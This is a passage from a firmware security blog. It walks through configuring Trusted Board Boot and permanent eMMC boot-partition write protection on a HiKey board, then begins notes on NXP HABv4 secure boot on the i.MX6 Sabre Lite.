<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>git clone https://github.com/ARM-software/arm-trusted-firmware
<span class="nv">$ </span><span class="nb">cd </span>arm-trusted-firmware

<span class="nv">$ </span>make <span class="se">\</span>
  <span class="nv">PLAT</span><span class="o">=</span>hikey <span class="nv">DEBUG</span><span class="o">=</span>1 <span class="se">\</span>
  <span class="nv">SCP_BL2</span><span class="o">=</span>../mcuimage.bin <span class="se">\</span>
  <span class="nv">BL32</span><span class="o">=</span>../optee/optee_os/out/arm/core/tee-header_v2.bin <span class="se">\</span>
  <span class="nv">BL32_EXTRA1</span><span class="o">=</span>../optee/optee_os/out/arm/core/tee-pager_v2.bin <span class="se">\</span>
  <span class="nv">BL32_EXTRA2</span><span class="o">=</span>../optee/optee_os/out/arm/core/tee-pageable_v2.bin <span class="se">\</span>
  <span class="nv">SPD</span><span class="o">=</span>opteed <span class="se">\</span>
  <span class="nv">BL33</span><span class="o">=</span>../u-boot/build_hikey/u-boot.bin <span class="se">\</span>
  all fip
<span class="o">[</span>...]
Building hikey
<span class="nb">mkdir</span> <span class="nt">-p</span>  <span class="s2">"./build/hikey/debug/bl1"</span>
<span class="nb">mkdir</span> <span class="nt">-p</span>  <span class="s2">"./build/hikey/debug/bl2"</span>
<span class="nb">mkdir</span> <span class="nt">-p</span>  <span class="s2">"./build/hikey/debug/bl31"</span>
make <span class="nv">CPPFLAGS</span><span class="o">=</span><span class="s2">"-DVERSION='</span><span class="se">\"</span><span class="s2">v1.5(debug):v1.5-285-g498161a</span><span class="se">\"</span><span class="s2">'"</span> <span class="nt">--no-print-directory</span> <span class="nt">-C</span> tools/fiptool

<span class="o">[</span>...]
Built build/hikey/debug/fip.bin successfully
</code></pre></div></div>

<h2 id="building-l-loader-and-recovery-mode">Building <code class="language-plaintext highlighter-rouge">l-loader</code> and recovery mode</h2>

<p>Recovery mode is booted by the HiKey when <code class="language-plaintext highlighter-rouge">Boot Select</code> is enabled, pin 3-4 are connected on <code class="language-plaintext highlighter-rouge">J15</code>. There is plenty of documentation for this: <a href="https://github.com/96boards/documentation/wiki/HiKeyUEFI">https://github.com/96boards/documentation/wiki/HiKeyUEFI</a> but I would like to include the specifics of how I build a recovery mode image for completeness.</p>

<p>This will allow us to flash images during this walkthrough using <code class="language-plaintext highlighter-rouge">fastboot</code>.</p>

<p>To accomplish this we will use another version of ARM-Trusted-Firmware maintained by 96Boards. This will build a <code class="language-plaintext highlighter-rouge">bl1.bin</code> used in the <code class="language-plaintext highlighter-rouge">l-loader</code> build. We will only use this once and it will not be part of our boot flow, just the recovery flow. The recovery image is loaded into device memory over the USB OTG so we can fastboot flash the eMMC. This code will not persist on the device.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">export </span><span class="nv">CROSS_COMPILE</span><span class="o">=</span><span class="nv">$AARCH64_PATH</span>/bin/aarch64-linux-gnu-

<span class="nv">$ </span>git clone https://github.com/96boards-hikey/atf-fastboot
<span class="nv">$ </span><span class="nb">cd </span>atf-fastboot

<span class="nv">$ </span>make <span class="nv">DEBUG</span><span class="o">=</span>1
<span class="o">[</span>...]
  LD      build/hikey/debug/bl1/bl1.elf
  BIN     build/hikey/debug/bl1.bin

Built build/hikey/debug/bl1.bin successfully
</code></pre></div></div>

<blockquote>
  <p>NB: We are not building for HiKey960, but we will use a checkout referencing the 960 board, sorry for this confusion.</p>
</blockquote>

<p>Checkout the <code class="language-plaintext highlighter-rouge">l-loader</code> repository, which has Makefiles for building the recovery image.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>git clone https://github.com/96boards-hikey/l-loader <span class="nt">-b</span> testing/hikey960_v1.2
<span class="nv">$ </span><span class="nb">cd </span>l-loader

<span class="nv">$ </span><span class="nb">ln</span> <span class="nt">-s</span> ../arm-trusted-firmware/build/hikey/debug/bl1.bin bl1.bin
<span class="nv">$ </span><span class="nb">ln</span> <span class="nt">-s</span> ../arm-trusted-firmware/build/hikey/debug/fip.bin fip.bin
<span class="nv">$ </span><span class="nb">ln</span> <span class="nt">-s</span> ../atf-fastboot/build/hikey/debug/bl1.bin fastboot.bin
</code></pre></div></div>

<p>Confusing right?</p>

<p>Make the recovery image using:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>make <span class="nt">-f</span> hikey.mk <span class="nv">PTABLE_LST</span><span class="o">=</span>linux-8g recovery.bin
</code></pre></div></div>

<p>Make the <code class="language-plaintext highlighter-rouge">l-loader.bin</code> and <code class="language-plaintext highlighter-rouge">bl2.bin</code> image using:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>make <span class="nt">-f</span> hikey.mk <span class="nv">PTABLE_LST</span><span class="o">=</span>linux-8g l-loader.bin
</code></pre></div></div>

<h2 id="assembling-the-non-secured-boot-flow">Assembling the non-Secured boot flow</h2>

<p>When CPU0 comes out of reset the bootrom will read the eMMC’s <code class="language-plaintext highlighter-rouge">boot0</code> partition. This is memory mapped to address <code class="language-plaintext highlighter-rouge">0xF980:0000</code> and the first address executed is at offset <code class="language-plaintext highlighter-rouge">0x800</code>. This contains the <code class="language-plaintext highlighter-rouge">l-loader</code> code that switches execution from aarch32 to aarch64 and jumps to offset <code class="language-plaintext highlighter-rouge">0x1000</code>. <code class="language-plaintext highlighter-rouge">0xF980:1000</code> is the entrypoint of ARM-Trusted-Firmware’s <code class="language-plaintext highlighter-rouge">BL2</code>.</p>

<p>You can dive into the build logic in the ARM-Trusted-Firmware code to understand why <code class="language-plaintext highlighter-rouge">BL1</code> is skipped as an optimization. In this case <code class="language-plaintext highlighter-rouge">BL2</code> is executed in <code class="language-plaintext highlighter-rouge">EL3</code>.</p>

<p>The ARM-Trusted-Boot flow takes over and <code class="language-plaintext highlighter-rouge">BL2</code> is our loader, executing the proprietary <code class="language-plaintext highlighter-rouge">mcuimage.bin</code> from HiKey, our OP-TEE secure OS as <code class="language-plaintext highlighter-rouge">BL32</code>, and eventually our <code class="language-plaintext highlighter-rouge">BL33</code> non-trusted firmware, U-Boot. U-Boot will auto-boot in 3 seconds unless interrupted on the command line.</p>

<blockquote>
  <p>NB: U-Boot is configured to load an environment from the uSD card. In this example no uSD is needed or used. The U-Boot default environment, compiled into the image, is used.</p>
</blockquote>

<p>U-Boot loads our Linux and device tree.</p>

<p>The <code class="language-plaintext highlighter-rouge">recovery.img</code> is used to program our content using fastboot. It uses the normal <code class="language-plaintext highlighter-rouge">l-loader</code> bootstrap code, the normal ATF <code class="language-plaintext highlighter-rouge">bl1.bin</code>, and the <code class="language-plaintext highlighter-rouge">atf-fastboot</code>’s <code class="language-plaintext highlighter-rouge">bl1.bin</code> as <code class="language-plaintext highlighter-rouge">NS_BL1U</code>. Using this recovery mode is optional. If you have a working board then you can flash the eMMC partitions using <code class="language-plaintext highlighter-rouge">dd</code>.</p>

<p>Here is an example:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span>python ~/git/hikey/hisi-idt.py <span class="nt">--img1</span><span class="o">=</span>recovery.bin
<span class="nv">$ </span><span class="nb">sudo </span>fastboot flash loader l-loader.bin
<span class="nv">$ </span><span class="nb">sudo </span>fastboot flash fastboot fip.bin
</code></pre></div></div>

<p>If you have an already running HiKey you can use the following:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo dd </span><span class="k">if</span><span class="o">=</span>fip.bin <span class="nv">of</span><span class="o">=</span>/dev/mmcblk0p4
<span class="nv">$ </span><span class="nb">echo </span>0 | <span class="nb">sudo tee</span> /sys/block/mmcblk0boot0/force_ro
<span class="nv">$ </span><span class="nb">sudo dd </span><span class="k">if</span><span class="o">=</span>l-loader.bin <span class="nv">of</span><span class="o">=</span>/dev/mmcblk0boot0
</code></pre></div></div>

<h2 id="build-atf-with-trusted-board-boot-for-hikey">Build ATF with Trusted Board Boot for HiKey</h2>

<p>The first thing we should do is create an RSA2048 keypair. ATF is limited to 2048bit keys at the moment.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">mkdir </span>keys
<span class="nv">$ </span>openssl genrsa 2048 <span class="o">&gt;</span> ./keys/rot.key 2&gt;/dev/null
</code></pre></div></div>

<p>Patch your ATF to build Trusted Board Boot for the HiKey using: <a href="https://patch-diff.githubusercontent.com/raw/ARM-software/arm-trusted-firmware/pull/1449.diff">https://patch-diff.githubusercontent.com/raw/ARM-software/arm-trusted-firmware/pull/1449.diff</a> be careful as this is still undergoing code review and has not been heavily tested.</p>

<p>This will build a <code class="language-plaintext highlighter-rouge">BL2</code> with the ROT key’s public key SHA256 hash. The key will be placed into RW storage within the <code class="language-plaintext highlighter-rouge">fip.bin</code> later.</p>

<p>Checkout the mbedtls code, version 2.10.0:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>git clone https://github.com/ARMmbed/mbedtls <span class="nt">-b</span> mbedtls-2.10.0
</code></pre></div></div>

<p>And finally glue it all together to create a <code class="language-plaintext highlighter-rouge">bl1.bin</code> and <code class="language-plaintext highlighter-rouge">fip.bin</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">cd </span>arm-trusted-firmware

<span class="nv">$ </span>make <span class="se">\</span>
  <span class="nv">PLAT</span><span class="o">=</span>hikey <span class="se">\</span>
  <span class="nv">DEBUG</span><span class="o">=</span>1 <span class="se">\</span>
  <span class="nv">BL33</span><span class="o">=</span>../u-boot/build_hikey/u-boot.bin <span class="se">\</span>
  <span class="nv">SCP_BL2</span><span class="o">=</span>../mcuimage.bin <span class="se">\</span>
  <span class="nv">BL32</span><span class="o">=</span>../optee/optee_os/out/arm/core/tee-header_v2.bin <span class="se">\</span>
  <span class="nv">BL32_EXTRA1</span><span class="o">=</span>../optee/optee_os/out/arm/core/tee-pager_v2.bin <span class="se">\</span>
  <span class="nv">BL32_EXTRA2</span><span class="o">=</span>../optee/optee_os/out/arm/core/tee-pageable_v2.bin <span class="se">\</span>
  <span class="nv">SPD</span><span class="o">=</span>opteed <span class="se">\</span>
  <span class="nv">TRUSTED_BOARD_BOOT</span><span class="o">=</span>1 <span class="se">\</span>
  <span class="nv">MBEDTLS_DIR</span><span class="o">=</span>../../mbedtls <span class="se">\</span>
  <span class="nv">GENERATE_COT</span><span class="o">=</span>1 <span class="se">\</span>
  <span class="nv">SAVE_KEYS</span><span class="o">=</span>1 <span class="se">\</span>
  <span class="nv">TRUSTED_WORLD_KEY</span><span class="o">=</span>../keys/trusted_world.key <span class="se">\</span>
  <span class="nv">NON_TRUSTED_WORLD_KEY</span><span class="o">=</span>../keys/nt_worlded.key <span class="se">\</span>
  <span class="nv">ROT_KEY</span><span class="o">=</span>../keys/rot.key <span class="se">\</span>
  <span class="nv">SCP_BL2_KEY</span><span class="o">=</span>../keys/scp_bl2_content.key <span class="se">\</span>
  <span class="nv">BL31_KEY</span><span class="o">=</span>../keys/soc_content.key <span class="se">\</span>
  <span class="nv">BL32_KEY</span><span class="o">=</span>../keys/tos_content.key <span class="se">\</span>
  <span class="nv">BL33_KEY</span><span class="o">=</span>../keys/nt_fw_content.key <span class="se">\</span>
  all fip
</code></pre></div></div>

<p>The first time you run this command it should finish with some stdout:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>NOTICE:  Creating new key <span class="k">for</span> <span class="s1">'Trusted World key'</span>
NOTICE:  Creating new key <span class="k">for</span> <span class="s1">'Non Trusted World key'</span>
NOTICE:  Creating new key <span class="k">for</span> <span class="s1">'SCP Firmware Content Certificate key'</span>
NOTICE:  Creating new key <span class="k">for</span> <span class="s1">'SoC Firmware Content Certificate key'</span>
NOTICE:  Creating new key <span class="k">for</span> <span class="s1">'Trusted OS Firmware Content Certificate key'</span>
NOTICE:  Creating new key <span class="k">for</span> <span class="s1">'Non Trusted Firmware Content Certificate key'</span>
</code></pre></div></div>

<p>Subsequent runs should be using your existing keys. Everything but the <code class="language-plaintext highlighter-rouge">rot.key</code> can be updated later since only the hash of the <code class="language-plaintext highlighter-rouge">rot.key</code> will be write-protected.</p>

<p>Note that the <code class="language-plaintext highlighter-rouge">_KEY</code> variables are optional. Keys will be generated during the build automatically for you.</p>

<h2 id="basic-trusted-board-boot-failure-testing">Basic Trusted Board Boot failure testing</h2>

<p>As a very-quick smoke test for TBB I will edit a byte in U-Boot.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">dd </span><span class="k">if</span><span class="o">=</span>/dev/mmcblk0p4 <span class="nv">of</span><span class="o">=</span>fip.bin
<span class="nv">$ </span><span class="nb">grep</span> <span class="nt">-ab</span> 2018.07-rc1-00132-g606fddd-dirty fip.bin 
530221:U-Boot 2018.07-rc1-00132-g606fddd-dirty <span class="o">(</span>Jun 18 2018 - 22:17:00 <span class="nt">-0400</span><span class="o">)</span>hikey_SM__DMI_ERROR : memory not allocated
</code></pre></div></div>

<p>I will switch the 2018 to be 3018.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">dd </span><span class="nv">of</span><span class="o">=</span>/dev/mmcblk0p4 <span class="k">if</span><span class="o">=</span>fip.bin
16384+0 records <span class="k">in
</span>16384+0 records out
8388608 bytes <span class="o">(</span>8.4 MB<span class="o">)</span> copied, 1.52253 s, 5.5 MB/s
</code></pre></div></div>

<p>And sure enough, after a reset I see on the debug UART:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span>...]
INFO:    Loading image <span class="nb">id</span><span class="o">=</span>9 at address 0xf9858000
INFO:    Image <span class="nb">id</span><span class="o">=</span>9 loaded: 0xf9858000 - 0xf98584da
INFO:    Loading image <span class="nb">id</span><span class="o">=</span>13 at address 0xf9858000
INFO:    Image <span class="nb">id</span><span class="o">=</span>13 loaded: 0xf9858000 - 0xf9858430
INFO:    Loading image <span class="nb">id</span><span class="o">=</span>3 at address 0xf9858000
INFO:    Image <span class="nb">id</span><span class="o">=</span>3 loaded: 0xf9858000 - 0xf9861058
INFO:    BL2: Loading image <span class="nb">id </span>5
INFO:    Loading image <span class="nb">id</span><span class="o">=</span>11 at address 0x35000000
INFO:    Image <span class="nb">id</span><span class="o">=</span>11 loaded: 0x35000000 - 0x350004ea
INFO:    Loading image <span class="nb">id</span><span class="o">=</span>15 at address 0x35000000
INFO:    Image <span class="nb">id</span><span class="o">=</span>15 loaded: 0x35000000 - 0x35000440
INFO:    Loading image <span class="nb">id</span><span class="o">=</span>5 at address 0x35000000
INFO:    Image <span class="nb">id</span><span class="o">=</span>5 loaded: 0x35000000 - 0x35061d9a

Platform exception reporting:
ESR_EL3: 0000000096000061
ELR_EL3: 00000000f9801574
</code></pre></div></div>

<p>Success! A more complete test involves generating a fake signature for U-Boot and writing a correct new SHA256 hash. But at least we know the auth-driver code is running.</p>

<h2 id="danger-zone-permanent-write-protect-emmc-boot0">Danger Zone! Permanent Write Protect eMMC <code class="language-plaintext highlighter-rouge">boot0</code></h2>

<p>Once you are happy with the <code class="language-plaintext highlighter-rouge">BL2</code> build and <strong>DO NOT PLAN ON UPDATING THE ROT.KEY OR BL2 CODE</strong> we need to create our root of trust.</p>

<p>There is a feature of MMC similar to the hardware block write protection on SPI flash that allows you to write-protect the alternate boot partitions. <strong>Be very very careful</strong> as this is a 1-time operation and since this is a BGA eMMC, recovery is difficult. Remember we are only concerned with write-protecting the boot partitions. <a href="https://yifan.lu/2015/06/05/secure-your-emmc-devices/">Yifan</a> has a quick read on the dangers of this write-protection being in an non-configured tri-state. While you are here you might consider locking the GP and User sections non-write-protect.</p>

<p>The <code class="language-plaintext highlighter-rouge">/dev/mmcblk0boot{0,1}</code> partitions hold the <code class="language-plaintext highlighter-rouge">l-loader.bin</code> code, this is <code class="language-plaintext highlighter-rouge">l-loader</code> and <code class="language-plaintext highlighter-rouge">BL2</code>. Everything else is within the <code class="language-plaintext highlighter-rouge">fip.bin</code> on the fourth partition. Only this <code class="language-plaintext highlighter-rouge">l-loader.bin</code> code will become permanent read-only/write-protected.</p>

<p>This uses the <code class="language-plaintext highlighter-rouge">eCSD[173]</code> register on the MMC, named <code class="language-plaintext highlighter-rouge">EXT_CSD_BOOT_WP</code>. We will 1-time program this with a value of <code class="language-plaintext highlighter-rouge">0x04</code> or <code class="language-plaintext highlighter-rouge">EXT_CSD_BOOT_WP_B_PERM_WP_EN</code>. Our Linux kernel allows programming via an <code class="language-plaintext highlighter-rouge">ioctl</code>.</p>

<p>On the HiKey:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">(</span>hikey<span class="o">)</span><span class="nv">$ </span>git clone https://github.com/chiel99/mmc-utils
<span class="o">(</span>hikey<span class="o">)</span><span class="nv">$ </span><span class="nb">cd </span>mmc-utils<span class="p">;</span>
</code></pre></div></div>

<p>Apply this diff to change the <code class="language-plaintext highlighter-rouge">mmc</code> tool’s write-protection logic from Power-On (write-protect until next power cycle) to permanent write-protection. Permanent write-protection is not available by default because of the danger mentioned above.</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gh">diff --git a/mmc_cmds.c b/mmc_cmds.c
index d7215bb..a32d317 100644
</span><span class="gd">--- a/mmc_cmds.c
</span><span class="gi">+++ b/mmc_cmds.c
</span><span class="p">@@ -279,7 +279,7 @@</span> int do_writeprotect_boot_set(int nargs, char **argv)
        }
 
        value = ext_csd[EXT_CSD_BOOT_WP] |
<span class="gd">- EXT_CSD_BOOT_WP_B_PWR_WP_EN;
</span><span class="gi">+               EXT_CSD_BOOT_WP_B_PERM_WP_EN;
</span>        ret = write_extcsd_value(fd, EXT_CSD_BOOT_WP, value);
        if (ret) {
                fprintf(stderr, "Could not write 0x%02x to "
</code></pre></div></div>

<p>Then build and set the write-protection:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>make
<span class="o">(</span>DANGER<span class="o">)</span><span class="nv">$ </span><span class="nb">sudo</span> ./mmc writeprotect boot <span class="nb">set</span> /dev/mmcblk0boot0
</code></pre></div></div>

<p>Now we can check the status:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo</span> ./mmc writeprotect boot get /dev/mmcblk0boot0
Boot write protection status registers <span class="o">[</span>BOOT_WP_STATUS]: 0x0a
Boot Area Write protection <span class="o">[</span>BOOT_WP]: 0x04
 Power ro locking: possible
 Permanent ro locking: possible
 ro lock status: locked permanently

<span class="nv">$ </span><span class="nb">cat</span> /sys/block/mmcblk0boot<span class="o">{</span>0,1<span class="o">}</span>/ro_lock_until_next_power_on 
2
2
</code></pre></div></div>

<p>Now the <code class="language-plaintext highlighter-rouge">boot0</code> partition is the only entrypoint from the bootrom, unless you modify physical properties like the J15 jumpers. This partition’s content cannot be modified without an external programmer on the eMMC. In this configuration, from software perspective, the BL2 code is a ROM.</p>

<p>If you try to use <code class="language-plaintext highlighter-rouge">fastboot</code> in recovery mode, flashing the <code class="language-plaintext highlighter-rouge">l-loader</code> partition will not produce an error, but will not write the content, it silently fails.</p>

<p>The BL2 contains a permanent hash of the <code class="language-plaintext highlighter-rouge">rot.key</code>’s public key content and forces signature verification of all additional content down to the non-trusted firmware code. U-Boot is the last part of code verified, in this form it will happily run any Linux and device tree configuration. It is possible to later extend this chain of trust to the Kernel using U-Boot’s verified boot implementation.</p>

<p>Again <strong>be careful</strong> and please <strong>challenge my assertions</strong> because I am not an authority and this DIY secured boot should not be used where high-security controls are needed. You should engage device manufactures and implement their ODM-preferred secured boot features. If you find any issues with the assumptions used here, please reach out!</p>

<h2 id="limitations">Limitations</h2>

<ul>
  <li>There is no secure counter implemented, this is dangerous as there is no way to revoke old builds and the keys used to sign.</li>
  <li>The <code class="language-plaintext highlighter-rouge">BOOT_WP</code> permanent feature write-protect of eMMC is not fully investigated as a secure method for starting a Root of Trust.</li>
  <li>The HiKey’s bootrom is not confirmed to only boot from the eMMC’s alternate boot partitions. There may be a software/eFUSE that can toggle this to boot another user-controlled location, such as a general purpose partition on the eMMC.</li>
  <li>The RSA key sizes used in ATF’s Trusted Board Boot only support RSA2048 (SHA256 is used for hashing). From what I can see the ECDSA curves available in the ATF build provide an equivalent level of security. Increasing the relative bits available in the build is absolutely a follow up.</li>
  <li>The <code class="language-plaintext highlighter-rouge">certtool</code> in ATF cannot use a smartcard/HSM/PKCS11 to sign content.</li>
  <li>There is no runtime recovery option. If verification fails the board will hang.</li>
</ul>]]></content><author><name></name></author><category term="secure-boot" /><category term="firmware" /><category term="arm" /><category term="hikey" /><summary type="html"><![CDATA[This is a series of notes designed to be a walkthrough on how to configure the HiKey Kirin 620 to boot securely with ARM Trusted Firmware’s Trusted Board Boot. This does not use any proprietary settings or vendor-specific details about the SoC. Instead, the secure boot path relies on the SoC’s BOOT_SEL configured to boot solely from the eMMC. With this configuration there should be no way to interrupt or bypass the root of trust via runtime changes. Pay special attention to the should as this is not speaking from authority but rather from suspicion and research. The Root of Trust (ROT) begins in the BL2 programmed to the eMMC’s boot0 partition. The bootrom must execute the HiKey’s l-loader.bin and ARM-Trusted-Firmware’s (ATF) bl2.bin written to this alternate boot partition. The eMMC’s extended CSD register 173 (BOOT_WP) is written to permanent write-protect this content. This is a 1-time program operation that has the potential to brick the device.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://theopolis.github.io/assets/images/hikey_rotpk_hash-1.png" /><media:content medium="image" url="https://theopolis.github.io/assets/images/hikey_rotpk_hash-1.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Exploring secured boot on the Sabre Lite i.MX6S (v1.3) SBC and NXP HABv4</title><link href="https://theopolis.github.io/blog/2018/2/10/exploring-secured-boot-on-the-sabre-lite-imx6s-v13-sbc-and-nxp-habv4" rel="alternate" type="text/html" title="Exploring secured boot on the Sabre Lite i.MX6S (v1.3) SBC and NXP HABv4" /><published>2018-02-10T00:00:00+00:00</published><updated>2018-02-10T00:00:00+00:00</updated><id>https://theopolis.github.io/blog/2018/2/10/exploring-secured-boot-on-the-sabre-lite-imx6s-v13-sbc-and-nxp-habv4</id><content type="html" xml:base="https://theopolis.github.io/blog/2018/2/10/exploring-secured-boot-on-the-sabre-lite-imx6s-v13-sbc-and-nxp-habv4"><![CDATA[<p>This document is a linear review of my notes taken while exploring the Sabre Lite single-board-computer. It is a mildly expensive (<a href="https://boundarydevices.com/product/sabre-lite-imx6-sbc/">$200</a> from Boundary Devices) SBC but it has a well documented secure boot implementation rooted in silicon ROM. It is a very good example of a vendor proprietary firmware verification mechanism. The goal of this article is purely an overview of notes, nothing here is novel or groundbreaking and it is not intended to be a tutorial.</p>

<!--more-->

<p>Trivia and Pro-Tips:</p>

<ul>
  <li>SBC Name: <a href="https://boundarydevices.com/product/sabre-lite-imx6-sbc/">NXP/Freescale i.MX6</a></li>
  <li>Architecture Type: ARM Cortex™-A9</li>
  <li>Supported by OP-TEE: <a href="https://github.com/OP-TEE/optee_os">https://github.com/OP-TEE/optee_os</a><code class="language-plaintext highlighter-rouge">PLATFORM=imx-mx6qsabrelite</code></li>
  <li>Boundary Devices is very quick to respond to email requests for additional schematics and information.</li>
  <li>Known unpatchable vulnerable to i.MX HAB4 <a href="https://community.nxp.com/docs/DOC-334996">CVE-2017-7932</a></li>
</ul>

<p>Note: The i.MX6 Sabre Lite hardware silicon revision 1.3 has a <a href="https://community.nxp.com/docs/DOC-334996">well-known vulnerability</a> (stack-based overflow leading to arbitrary code execution) in parsing ASN.1 within the HAB4 ROM leading to a secure boot bypass discovered by QuarksLab. A ‘normal world’ user, someone controlling Linux on the SoC, may overwrite the initial boot code and secured boot certificates and bypass certificate validation.</p>

<p><img src="/assets/images/iMX6-SabreLite-case.jpeg" alt="Sabre Lite case by ARTaylor with included heatsink" /></p>

<p>Sabre Lite case by <a href="http://www2.artaylor.co.uk/store/index.php?route=product/product&amp;product_id=53">ARTaylor</a> with included heatsink</p>

<p><img src="/assets/images/iMX6-SabreLite.jpeg" alt="iMX6-SabreLite" /></p>

<h2 id="building-our-own-u-boot">Building our own U-Boot</h2>

<p>After reading specifications and guides for new SOCs/SBCs, I love to begin with their firmware by building and reading the ‘special sauce’. The i.MX6 boards are supported in mainline U-Boot, but the <a href="https://boundarydevices.com/wiki/u-boot/">guides</a> on Boundary Devices website recommend their branch: <a href="https://github.com/boundarydevices/u-boot-imx6">https://github.com/boundarydevices/u-boot-imx6</a></p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git checkout boundary-v2017.07
make nitrogen6q_defconfig

~/u-boot-imx6<span class="nv">$ </span><span class="nb">export </span><span class="nv">ARCH</span><span class="o">=</span>arm
~/u-boot-imx6<span class="nv">$ </span><span class="nb">export </span><span class="nv">CROSS_COMPILE</span><span class="o">=</span>arm-linux-gnueabihf-
~/u-boot-imx6<span class="nv">$ </span>make nitrogen6q_defconfig
~/u-boot-imx6<span class="nv">$ </span>make <span class="nt">-j2</span>
</code></pre></div></div>

<p>There is tooling to update the firmware using a U-Boot command and scripts stored in U-Boot environment variables. The U-Boot content and some i.MX/HAB custom image structures are stored in a small 2MB SPI flash on the Sabre Lite. We can update it whenever, say during Linux, but it is easiest to use the existing U-Boot tooling. See the <code class="language-plaintext highlighter-rouge">run upgradeu</code> command example below:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>U-Boot 2015.07-15072-g45cfc85 (Jan 28 2016 - 17:41:49 -0700), Build: jenkins-uboot_v2015.07-30

CPU:   Freescale i.MX6Q rev1.2 996 MHz (running at 792 MHz)
Reset cause: WDOG
Board: SABRE Lite
[...]
=&gt; run upgradeu
[...]
SF: Detected SST25VF016B with page size 256 Bytes, erase size 4 KiB, total 2 MiB
probed SPI ROM
check U-Boot
reading u-boot.nitrogen6q
531456 bytes read in 75 ms (6.8 MiB/s)
read 81c00 bytes from SD card
device 0 offset 0x400, size 0x81c00
SF: 531456 bytes @ 0x400 Read: OK
byte at 0x12000425 (0x20) != byte at 0x12400425 (0x10)
Total of 37 byte(s) were the same
Need U-Boot upgrade
[...]
device 0 offset 0x400, size 0x81c00
SF: 531456 bytes @ 0x400 Read: OK
Total of 531456 byte(s) were the same
---- U-Boot upgraded. reset
</code></pre></div></div>

<p>This copies U-Boot from the mSD to the SPI chip, SST25VF016B (2M), <a href="assets/S71271_04.pdf">http://ww1.microchip.com/downloads/en/DeviceDoc/S71271_04.pdf</a></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>m25p80 spi0.0: sst25vf016b (2048 Kbytes)
3 ofpart partitions found on MTD device spi0.0
Creating 3 MTD partitions on "spi0.0":
0x000000000000-0x0000000c0000 : "U-Boot"
0x0000000c0000-0x0000000c2000 : "env"
0x0000000c2000-0x000000200000 : "splash"
spi_imx 2008000.ecspi: probed
</code></pre></div></div>

<p>Note that despite the HAB having a vulnerability, it would be fun to explore if the SPI could be held in WP/SRWD to prevent additional run-time writes. If there is a way to configure an alternate boot method from software this would be less ideal.</p>

<h2 id="secured-boot-implementation">Secured Boot Implementation</h2>

<p>The i.MX series and Freescale have lots of documentation on their High-Assurance Boot (HAB) capabilities. It is semi-complex and offers a nice array of features. We will ignore most and just talk about how you 1-time program a set of ‘root’ RSA public keys, and how you write content to the SPI such that the HAB can verify and execute.</p>

<p>The ground truth for this information is the <a href="assets/IMX6DQRM.pdf">IMX6DQRM</a> reference manual, since this is the SBC we are using in the experimentation.</p>

<p>For a very quick and dirty overview:</p>

<ul>
  <li>A SHA256 of 4 ‘root’ public keys is calculated and 1-time-programmed using eFuses.</li>
  <li>The boot ROM includes a library called HAB that reads and parses a header from the SPI flash.</li>
  <li>This image header includes x509/ASN.1 encoded public keys, which must match the programmed hash.</li>
  <li>Additional header properties and certificates allow key revocation and intermediate control of signing U-Boot.</li>
  <li>An out of band (USB) method is included for recovery.</li>
</ul>

<p><img src="/assets/images/HAB-layout.png" alt="The i/MX image header, where Image Data can be U-Boot, followed by an optional CSF." /></p>

<p>The i/MX image header, where Image Data can be U-Boot, followed by an optional CSF.</p>

<blockquote>
  <p>“A key feature of the boot ROM is the ability to perform a secure boot or High Assurance Boot (HAB). This is supported by the HAB security library which is a subcomponent of the ROM code. HAB uses a combination of hardware and software together with a Public Key Infrastructure (PKI) protocol to protect the system from executing unauthorized programs. Before the HAB allows a user’s image to execute, the image must be signed. The signing process is done during the image build process by the private key holder and the signatures are then included as part of the final Program Image. If configured to do so, the ROM verifies the signatures using the public keys included in the Program Image.<br />
In addition to supporting digital signature verification to authenticate Program Images, Encrypted boot is also supported. Encrypted boot can be used to prevent cloning of the Program Image directly off the boot device. A secure boot with HAB can be performed on all boot devices supported on the chip in addition to the Serial Downloader. The HAB library in the boot ROM also provides API functions, allowing additional boot chain components (bootloaders) to extend the secure boot chain. The out-of-fab setting for SEC_CONFIG is the Open configuration in which the ROM/HAB performs image authentication, but all authentication errors are ignored and the image is still allowed to execute.”</p>
</blockquote>

<p>— https://www.nxp.com/docs/en/reference-manual/IMX6SDLRM.pdf</p>

